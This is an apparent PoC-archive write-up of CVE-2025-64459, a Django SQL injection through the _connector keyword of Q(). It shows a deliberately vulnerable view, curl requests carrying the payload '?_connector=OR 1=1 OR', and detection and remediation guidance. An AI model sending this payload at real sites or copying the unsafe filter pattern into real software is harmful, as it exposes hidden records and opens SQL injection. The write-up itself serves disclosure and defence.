PoC Archive PoC Archive
Critical CVE-2025-64459 patched

Django QuerySet/Q Object SQL Injection via `_connector` Kwarg (CVE-2025-64459)

by Joshua Lent (joshualent) · 2026-07-06

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-64459
Category
web
Affected product
Django ORM (QuerySet.filter() / Q object construction)
Affected versions
Multiple Django versions prior to the official security-patch release (per source repository); this demo pins django==5.2.7 to reproduce the issue
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherJoshua Lent (joshualent)
CVE / AdvisoryCVE-2025-64459
Categoryweb
SeverityCritical
CVSS Score9.1 (per NVD)
StatusWeaponized
Tagsdjango, python, sql-injection, queryset, q-object, orm, cwe-89, data-exposure, sqlite
RelatedN/A

Affected Target

FieldValue
Software / SystemDjango ORM (QuerySet.filter() / Q object construction)
Versions AffectedMultiple Django versions prior to the official security-patch release (per source repository); this demo pins django==5.2.7 to reproduce the issue
Language / PlatformPython / Django 5.2, demo blog app served via manage.py runserver or Gunicorn
Authentication RequiredNo
Network Access RequiredYes (standard HTTP access to the vulnerable route)

Summary

This is a SQL injection vulnerability in Django’s QuerySet/Q object construction: when application code builds a Q(**kwargs) filter directly from user-controlled input (such as a raw request.GET QueryDict) without allow-listing keys, an attacker can supply the reserved _connector (and _negated) keyword that Django’s Q constructor uses internally to choose the raw SQL boolean join operator (AND/OR) between conditions. Because that value is spliced into the compiled SQL as a literal keyword rather than being validated against AND/OR/XOR, an attacker-supplied string is inserted verbatim into the WHERE clause. The bundled demo app is a small Django blog whose post_list view builds its filter dict straight from request.GET, blocking only a handful of named fields (status, is_archived, id, pk) — leaving _connector open. Visiting the home route with ?_connector=OR 1=1 OR turns the intended “published, non-archived posts only” filter into an always-true condition, exposing draft and archived posts that should not be publicly visible, and demonstrates a general primitive for SQL fragment injection through the ORM.


Vulnerability Details

Root Cause

posts/views.py builds the filter dict directly from request.GET, only excluding a short blocklist of field names, then passes it straight into Q(**query_params):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
BLOCKED_FILTER_FIELDS = ["status", "is_archived", "id", "pk"]

def post_list(request):
    query_params = {
        key: value
        for key, value in request.GET.items()
        if key not in BLOCKED_FILTER_FIELDS
    }
    search = query_params.pop("search", "")
    query_params["title__icontains"] = search
    query_params["status"] = "published"
    query_params["is_archived"] = False

    q_filter = Q(**query_params)
    posts = Post.objects.filter(q_filter)
    ...

Django’s Q.__init__(*args, _connector=None, _negated=False, **kwargs) accepts _connector/_negated as special keys controlling how conditions are logically joined/negated when the Q tree is compiled to SQL. Because the view’s blocklist only covers ordinary model field names, an attacker can pass _connector as a query-string parameter, and its value is used as the literal join keyword between WHERE conditions rather than being validated as one of the safe AND/OR/XOR tokens — allowing arbitrary SQL fragments to be spliced into the compiled query.

Attack Vector

  1. The vulnerable view constructs a Q filter from unsanitized request.GET data, blocking only a small, explicit list of field names rather than allow-listing expected keys.
  2. Django’s Q(**kwargs) constructor treats _connector (and _negated/_prefix) as internal control parameters rather than ordinary filter fields, and does not validate _connector against the safe set of boolean keywords when it originates from arbitrary kwargs.
  3. Attacker requests the home route with a crafted query string: ?_connector=OR 1=1 OR (URL-encoded).
  4. The supplied string is used verbatim as the SQL boolean connector joining the compiled WHERE conditions, turning the intended ... AND status='published' AND is_archived=false filter into a condition that is always true (or otherwise attacker-controlled).
  5. The response returns rows the application intended to hide — in this demo, draft and archived blog posts — demonstrating data exposure; more elaborate _connector payloads could extend this into broader boolean-based SQL injection.

Impact

  • Bypass of application-level row filtering (exposure of draft/archived/private records).
  • General SQL-fragment injection primitive through the Django ORM wherever request-controlled dicts are passed as Q/filter(**kwargs) arguments without allow-listing, with potential for further boolean-based data exfiltration depending on the surrounding schema and query.

Environment / Lab Setup

- Python 3.13+, Django 5.2.7 (pinned in pyproject.toml)
- Dependency management via `uv` (uv.lock included), or pip install of
  pyproject.toml dependencies directly
- SQLite database (db.sqlite3 is intentionally tracked in the repo to
  pre-populate demo posts, including draft/archived ones)
- .env (also intentionally tracked) supplies SECRET_KEY and DEBUG=True for
  local/demo purposes only

Proof of Concept

PoC Script

This is a full runnable Django application — see manage.py, django_project/, and posts/ (particularly posts/views.py) in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
git clone <repo>
cd django-cve-2025-64459

uv sync

uv run manage.py runserver

curl "http://TARGET:8000/"

curl "http://TARGET:8000/?_connector=OR%201=1%20OR"

The repository’s author also hosts a live instance demonstrating the same payload: https://cve.hyperf.app/?_connector=OR%201=1%20OR.


Detection & Indicators of Compromise

- Web/WAF/access logs showing query strings or POST bodies containing
  "_connector=", "_negated=", or "_prefix=" combined with SQL keywords
  (OR, AND, UNION, --, 1=1) targeting Django application endpoints
- Django SQL query logs (DEBUG=True / django-debug-toolbar) showing WHERE
  clauses with unexpected boolean literals or malformed AND/OR tokens
- Anonymous/unauthenticated requests returning records that should be
  filtered out (drafts, archived items, soft-deleted rows)

Signs of compromise:

  • Spikes in requests containing _connector/_negated query parameters against endpoints that build ORM filters from request data.
  • Draft/archived/private content appearing in public listing responses.
  • Anomalous database read volume correlated with repeated near-identical requests differing only in a trailing boolean expression (classic blind-SQLi probing pattern).

Remediation

ActionDetail
Primary fixUpgrade to the Django security release that validates/rejects unexpected _connector/_negated/_prefix values passed into Q()/QuerySet.filter(**kwargs) (see Django’s official security advisory for CVE-2025-64459).
Interim mitigationNever pass a raw request.GET/request.POST QueryDict (or any user-controlled dict) directly as **kwargs into Q() or .filter(). Explicitly allow-list the exact field names an endpoint should accept, and reject/strip any key beginning with _ before constructing ORM filters.

References


Notes

Mirrored from https://github.com/joshualent/django-cve-2025-64459 on 2026-07-06. This is a fully runnable Django demo application (not a thin script) reproducing the QuerySet/Q object SQL injection end-to-end, including a pre-seeded SQLite database with draft/archived posts to demonstrate the data exposure. db.sqlite3 and .env are intentionally committed by the upstream author to make the demo runnable out of the box — treat the tracked SECRET_KEY/DEBUG=True values as demo-only, not for production reuse.

manage.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    """Run administrative tasks."""
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_project.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()